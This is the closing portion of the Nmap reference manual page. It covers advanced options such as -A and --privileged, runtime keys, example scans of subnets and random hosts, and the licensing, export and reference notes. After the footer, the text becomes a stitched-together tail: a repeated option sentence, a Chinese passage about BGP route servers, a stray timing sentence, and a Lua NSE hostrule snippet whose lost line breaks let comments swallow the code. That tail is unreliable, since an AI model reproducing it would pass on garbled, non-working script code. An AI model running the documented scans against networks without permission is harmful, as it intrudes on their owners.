free tunnel brokers are widely available and
work fine with Nmap. I use the free IPv6 tunnel
broker service at http://www.tunnelbroker.net.
Other tunnel brokers are listed at
Wikipedia[17]. 6to4 tunnels are another popular,
free approach.
On Windows, raw-socket IPv6 scans are supported
only on ethernet devices (not tunnels), and only
on Windows Vista and later. Use the
--unprivileged option in other situations.
-A (Aggressive scan options)
This option enables additional advanced and
aggressive options. Presently this enables OS
detection (-O), version scanning (-sV), script
scanning (-sC) and traceroute (--traceroute).
More features may be added in the future. The
point is to enable a comprehensive set of scan
options without people having to remember a
large set of flags. However, because script
scanning with the default set is considered
intrusive, you should not use -A against target
networks without permission. This option only
enables features, and not timing options (such
as -T4) or verbosity options (-v) that you might
want as well. Options which require privileges
(e.g. root access) such as OS detection and
traceroute will only be enabled if those
privileges are available.
--datadir directoryname (Specify custom Nmap data
file location)
Nmap obtains some special data at runtime in
files named nmap-service-probes, nmap-services,
nmap-protocols, nmap-rpc, nmap-mac-prefixes, and
nmap-os-db. If the location of any of these
files has been specified (using the --servicedb
or --versiondb options), that location is used
for that file. After that, Nmap searches these
files in the directory specified with the
--datadir option (if any). Any files not found
there, are searched for in the directory
specified by the NMAPDIR environment variable.
Next comes ~/.nmap for real and effective UIDs;
or on Windows, HOME\AppData\Roaming\nmap (where
HOME is the user's home directory, like
C:\Users\user). This is followed by the location
of the nmap executable and the same location
with ../share/nmap appended. Then a compiled-in
location such as /usr/local/share/nmap or
/usr/share/nmap.
--servicedb services file (Specify custom services
file)
Asks Nmap to use the specified services file
rather than the nmap-services data file that
comes with Nmap. Using this option also causes a
fast scan (-F) to be used. See the description
for --datadir for more information on Nmap's
data files.
--versiondb service probes file (Specify custom
service probes file)
Asks Nmap to use the specified service probes
file rather than the nmap-service-probes data
file that comes with Nmap. See the description
for --datadir for more information on Nmap's
data files.
--send-eth (Use raw ethernet sending)
Asks Nmap to send packets at the raw ethernet
(data link) layer rather than the higher IP
(network) layer. By default, Nmap chooses the
one which is generally best for the platform it
is running on. Raw sockets (IP layer) are
generally most efficient for Unix machines,
while ethernet frames are required for Windows
operation since Microsoft disabled raw socket
support. Nmap still uses raw IP packets on Unix
despite this option when there is no other
choice (such as non-ethernet connections).
--send-ip (Send at raw IP level)
Asks Nmap to send packets via raw IP sockets
rather than sending lower level ethernet frames.
It is the complement to the --send-eth option
discussed previously.
--privileged (Assume that the user is fully
privileged)
Tells Nmap to simply assume that it is
privileged enough to perform raw socket sends,
packet sniffing, and similar operations that
usually require root privileges on Unix systems.
By default Nmap quits if such operations are
requested but geteuid is not zero. --privileged
is useful with Linux kernel capabilities and
similar systems that may be configured to allow
unprivileged users to perform raw-packet scans.
Be sure to provide this option flag before any
flags for options that require privileges (SYN
scan, OS detection, etc.). The NMAP_PRIVILEGED
environment variable may be set as an equivalent
alternative to --privileged.
--unprivileged (Assume that the user lacks raw
socket privileges)
This option is the opposite of --privileged. It
tells Nmap to treat the user as lacking network
raw socket and sniffing privileges. This is
useful for testing, debugging, or when the raw
network functionality of your operating system
is somehow broken. The NMAP_UNPRIVILEGED
environment variable may be set as an equivalent
alternative to --unprivileged.
--release-memory (Release memory before quitting)
This option is only useful for memory-leak
debugging. It causes Nmap to release allocated
memory just before it quits so that actual
memory leaks are easier to spot. Normally Nmap
skips this as the OS does this anyway upon
process termination.
-V; --version (Print version number)
Prints the Nmap version number and exits.
-h; --help (Print help summary page)
Prints a short help screen with the most common
command flags. Running Nmap without any
arguments does the same thing.
RUNTIME INTERACTION
During the execution of Nmap, all key presses are
captured. This allows you to interact with the
program without aborting and restarting it. Certain
special keys will change options, while any other
keys will print out a status message telling you
about the scan. The convention is that lowercase
letters increase the amount of printing, and
uppercase letters decrease the printing. You may
also press ‘?’ for help.
v / V
Increase / decrease the verbosity level
d / D
Increase / decrease the debugging Level
p / P
Turn on / off packet tracing
?
Print a runtime interaction help screen
Anything else
Print out a status message like this:
Stats: 0:00:07 elapsed; 20 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 20:57 (0:00:12 remaining)
EXAMPLES
Here are some Nmap usage examples, from the simple
and routine to a little more complex and esoteric.
Some actual IP addresses and domain names are used
to make things more concrete. In their place you
should substitute addresses/names from your own
network. While I don't think port scanning other
networks is or should be illegal, some network
administrators don't appreciate unsolicited scanning
of their networks and may complain. Getting
permission first is the best approach.
For testing purposes, you have permission to scan
the host scanme.nmap.org. This permission only
includes scanning via Nmap and not testing exploits
or denial of service attacks. To conserve bandwidth,
please do not initiate more than a dozen scans
against that host per day. If this free scanning
target service is abused, it will be taken down and
Nmap will report Failed to resolve given
hostname/IP: scanme.nmap.org. These permissions also
apply to the hosts scanme2.nmap.org,
scanme3.nmap.org, and so on, though those hosts do
not currently exist.
nmap -v scanme.nmap.org
This option scans all reserved TCP ports on the
machine scanme.nmap.org . The -v option enables
verbose mode.
nmap -sS -O scanme.nmap.org/24
Launches a stealth SYN scan against each machine
that is up out of the 256 IPs on the /24 sized
network where Scanme resides. It also tries to
determine what operating system is running on each
host that is up and running. This requires root
privileges because of the SYN scan and OS detection.
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
Launches host enumeration and a TCP scan at the
first half of each of the 255 possible eight-bit
subnets in the 198.116.0.0/16 address space. This
tests whether the systems run SSH, DNS, POP3, or
IMAP on their standard ports, or anything on port
4564. For any of these ports found open, version
detection is used to determine what application is
running.
nmap -v -iR 100000 -Pn -p 80
Asks Nmap to choose 100,000 hosts at random and scan
them for web servers (port 80). Host enumeration is
disabled with -Pn since first sending a couple
probes to determine whether a host is up is wasteful
when you are only probing one port on each target
host anyway.
nmap -Pn -p80 -oX logs/pb-port80scan.xml -oG
logs/pb-port80scan.gnmap 216.163.128.20/20
This scans 4096 IPs for any web servers (without
pinging them) and saves the output in grepable and
XML formats.
NMAP BOOK
While this reference guide details all material Nmap
options, it can't fully demonstrate how to apply
those features to quickly solve real-world tasks.
For that, we released Nmap Network Scanning: The
Official Nmap Project Guide to Network Discovery and
Security Scanning. Topics include subverting
firewalls and intrusion detection systems,
optimizing Nmap performance, and automating common
networking tasks with the Nmap Scripting Engine.
Hints and instructions are provided for common Nmap
tasks such as taking network inventory, penetration
testing, detecting rogue wireless access points, and
quashing network worm outbreaks. Examples and
diagrams show actual communication on the wire. More
than half of the book is available free online. See
https://nmap.org/book for more information.
BUGS
Like its author, Nmap isn't perfect. But you can
help make it better by sending bug reports or even
writing patches. If Nmap doesn't behave the way you
expect, first upgrade to the latest version
available from https://nmap.org. If the problem
persists, do some research to determine whether it
has already been discovered and addressed. Try
searching for the problem or error message on Google
since that aggregates so many forums. If nothing
comes of this, create an Issue on our tracker (‐
http://issues.nmap.org) and/or mail a bug report to
<dev@nmap.org>. If you subscribe to the nmap-dev
list before posting, your message will bypass
moderation and get through more quickly. Subscribe
at https://nmap.org/mailman/listinfo/dev. Please
include everything you have learned about the
problem, as well as what version of Nmap you are
using and what operating system version it is
running on. Other suggestions for improving Nmap may
be sent to the Nmap dev mailing list as well.
If you are able to write a patch improving Nmap or
fixing a bug, that is even better! Instructions for
submitting patches or git pull requests are
available from
https://github.com/nmap/nmap/blob/master/CONTRIBUTING.md
Particularly sensitive issues such as a security
reports may be sent directly to Nmap's author Fyodor
directly at <fyodor@nmap.org>. All other reports and
comments should use the dev list or issue tracker
instead because more people read, follow, and
respond to those.
AUTHORS
Gordon “Fyodor” Lyon <fyodor@nmap.org> wrote and
released Nmap in 1997. Since then, hundreds of
people have made valuable contributions, as detailed
in the CHANGELOG file distributed with Nmap and also
available from https://nmap.org/changelog.html.
David Fifield and Daniel Miller deserve special
recognition for their enormous multi-year
contributions!
LEGAL NOTICES
Nmap Copyright and Licensing
The Nmap Security Scanner is (C) 1996–2020
Insecure.Com LLC ("The Nmap Project"). Nmap is also
a registered trademark of the Nmap Project. It is
published under the Nmap Public Source License[18].
This generally allows end users to download and use
Nmap for free. It doesn't not allow Nmap to be used
and redistributed within commercial software or
hardware products (including appliances, virtual
machines, and traditional applications). We fund the
project by selling a special Nmap OEM Edition for
this purpose, as described at https://nmap.org/oem.
Hundreds of large and small software vendors have
already purchased OEM licenses to embed Nmap
technology such as host discovery, port scanning, OS
detection, version detection, and the Nmap Scripting
Engine within their products.
The Nmap Project has permission to redistribute
Npcap, a packet capturing driver and library for the
Microsoft Windows platform. Npcap is a separate work
with it's own license rather than this Nmap license.
Since the Npcap license does not permit
redistribution without special permission, our Nmap
Windows binary packages which contain Npcap may not
be redistributed without special permission.
Even though the NPSL is based on GPLv2, it contains
different provisions and is not directly compatible.
It is incompatible with some other open source
licenses as well. In some cases we can relicense
portions of Nmap or grant special permissions to use
it in other open source software. Please contact
fyodor@nmap.org with any such requests. Similarly,
we don't incorporate incompatible open source
software into Nmap without special permission from
the copyright holders.
If you have received a written license agreement or
contract for Nmap stating terms other than these,
you may choose to use and redistribute Nmap under
those terms instead.
Creative Commons License for this Nmap Guide
This Nmap Reference Guide is (C) 2005–2020
Insecure.Com LLC. It is hereby placed under version
3.0 of the Creative Commons Attribution License[19].
This allows you redistribute and modify the work as
you desire, as long as you credit the original
source. Alternatively, you may choose to treat this
document as falling under the same license as Nmap
itself (discussed previously).
Source Code Availability and Community Contributions
Source is provided to this software because we
believe users have a right to know exactly what a
program is going to do before they run it. This also
allows you to audit the software for security holes.
Source code also allows you to port Nmap to new
platforms, fix bugs, and add new features. You are
highly encouraged to submit your changes as Github
Pull Requests (PR) or send them to <dev@nmap.org>
for possible incorporation into the main
distribution. By submitting such changes, it is
assumed that you are offering the Nmap Project the
unlimited, non-exclusive right to reuse, modify, and
relicense the code. This is important because the
inability to relicense code has caused devastating
problems for other Free Software projects (such as
KDE and NASM). We also sell commercial licenses to
Nmap OEM[20]. If you wish to specify special license
conditions of your contributions, just say so when
you send them.
No Warranty
This program is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.
It should also be noted that Nmap has occasionally
been known to crash poorly written applications,
TCP/IP stacks, and even operating systems. While
this is extremely rare, it is important to keep in
mind. Nmap should never be run against mission
critical systems unless you are prepared to suffer
downtime. We acknowledge here that Nmap may crash
your systems or networks and we disclaim all
liability for any damage or problems Nmap could
cause.
Inappropriate Usage
Because of the slight risk of crashes and because a
few black hats like to use Nmap for reconnaissance
prior to attacking systems, there are administrators
who become upset and may complain when their system
is scanned. Thus, it is often advisable to request
permission before doing even a light scan of a
network.
Nmap should never be installed with special
privileges (e.g. suid root). That would open up a
major security vulnerability as other users on the
system (or attackers) could use it for privilege
escalation.
Nmap is not designed, manufactured, or intended for
use in hazardous environments requiring fail- safe
performance where the failure of the software could
lead directly to death, personal injury, or
significant physical or environmental damage.
Third-Party Software and Funding Notices
This product includes software developed by the
Apache Software Foundation[21]. A modified version
of the Libpcap portable packet capture library[22]
is distributed along with Nmap. The Windows version
of Nmap utilizes the Libpcap-derived Ncap
library[23] instead. Regular expression support is
provided by the PCRE library[24], which is
open-source software, written by Philip Hazel.
Certain raw networking functions use the Libdnet[25]
networking library, which was written by Dug Song.
A modified version is distributed with Nmap. Nmap
can optionally link with the OpenSSL cryptography
toolkit[26] for SSL version detection support. The
Nmap Scripting Engine uses an embedded version of
the Lua programming language[27]. The Liblinear
linear classification library[28] is used for our
IPv6 OS detection machine learning techniques[29].
All of the third-party software described in this
paragraph is freely redistributable under BSD-style
software licenses.
Binary packages for Windows and Mac OS X include
support libraries necessary to run Zenmap and Ndiff
with Python and PyGTK. (Unix platforms commonly make
these libraries easy to install, so they are not
part of the packages.) A listing of these support
libraries and their licenses is included in the
LICENSES files.
This software was supported in part through the
Google Summer of Code[30] and the DARPA CINDER
program[31] (DARPA-BAA-10-84).
United States Export Control
Nmap only uses encryption when compiled with the
optional OpenSSL support and linked with OpenSSL.
When compiled without OpenSSL support, the Nmap
Project believes that Nmap is not subject to U.S.
Export Administration Regulations (EAR)[32] export
control. As such, there is no applicable ECCN
(export control classification number) and
exportation does not require any special license,
permit, or other governmental authorization.
When compiled with OpenSSL support or distributed as
source code, the Nmap Project believes that Nmap
falls under U.S. ECCN 5D002[33] (“Information
Security Software”). We distribute Nmap under the
TSU exception for publicly available encryption
software defined in EAR 740.13(e)[34].
NOTES
1. Nmap Network Scanning: The Official Nmap Project
Guide to Network Discovery and Security Scanning
https://nmap.org/book/
2. RFC 1122
http://www.rfc-editor.org/rfc/rfc1122.txt
3. RFC 792
http://www.rfc-editor.org/rfc/rfc792.txt
4. RFC 950
http://www.rfc-editor.org/rfc/rfc950.txt
5. UDP
http://www.rfc-editor.org/rfc/rfc768.txt
6. SCTP
http://www.rfc-editor.org/rfc/rfc4960.txt
7. TCP RFC
http://www.rfc-editor.org/rfc/rfc793.txt
8. RFC 959
http://www.rfc-editor.org/rfc/rfc959.txt
9. RFC 1323
http://www.rfc-editor.org/rfc/rfc1323.txt
10. Lua programming language
http://lua.org
11. precedence
http://www.lua.org/manual/5.1/manual.html#2.5.3
12. IP protocol
http://www.rfc-editor.org/rfc/rfc791.txt
13. RFC 2960
http://www.rfc-editor.org/rfc/rfc2960.txt
14. Nmap::Scanner
http://sourceforge.net/projects/nmap-scanner/
15. Nmap::Parser
http://nmapparser.wordpress.com/
16. xsltproc
http://xmlsoft.org/XSLT/
17. listed at Wikipedia
http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers
18. Nmap Public Source License
https://nmap.org/npsl
19. Creative Commons Attribution License
http://creativecommons.org/licenses/by/3.0/
20. Nmap OEM
https://nmap.org/oem
21. Apache Software Foundation
https://www.apache.org
22. Libpcap portable packet capture library
https://www.tcpdump.org
23. Ncap library
https://npcap.org
24. PCRE library
https://pcre.org
25. Libdnet
http://libdnet.sourceforge.net
26. OpenSSL cryptography toolkit
https://openssl.org
27. Lua programming language
https://lua.org
28. Liblinear linear classification library
https://www.csie.ntu.edu.tw/~cjlin/liblinear/
29. IPv6 OS detection machine learning techniques
https://nmap.org/book/osdetect-guess.html#osdetect-guess-ipv6
30. Google Summer of Code
https://nmap.org/soc/
31. DARPA CINDER program
https://www.fbo.gov/index?s=opportunity&mode=form&id=585e02a51f77af5cb3c9e06b9cc82c48&tab=core&_cview=1
32. Export Administration Regulations (EAR)
https://www.bis.doc.gov/index.php/regulations/export-administration-regulations-ear
33. 5D002
https://www.bis.doc.gov/index.php/documents/regulations-docs/federal-register-notices/federal-register-2014/951-ccl5-pt2/file
34. EAR 740.13(e)
https://www.bis.doc.gov/index.php/documents/regulations-docs/2341-740-2/file
Nmap 08/06/2021 NMAP(1)
--privileged
is useful with Linux kernel capabilities and similar systems that may be configured to allow unprivileged users to perform raw-packet scans.
虽然从这样的罐装网络表格中获取BGP信息很方便,但从实际的路由器中获取路由数据更有趣,而且可能允许更强大的自定义查询。有几个组织提供这样的服务。举个例子,telnet到route-views.routeviews.org或访问http://routeviews.org。当然,这些服务提供对数据的只读访问。如果你需要操纵全局路由表作为接管互联网的邪恶计划的一部分,这就超出了本书的范围。
All of these timing issues are explained in more depth in Chapter 6, Optimizing Nmap Performance.
hostrule = function(host)--inet表示tcp/ipv4协议栈 if nmap.address_family() ~= 'inet' thenstdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)return false end--inet 表示本地接口类型 if host.directly_connected == true and host.mac_addr ~= nil and host.mac_addr_src ~= nil and host.interface ~= nil thenlocal iface = nmap.get_interface_info(host.interface)if iface and iface.link == 'ethernet' thenreturn trueend end return falseend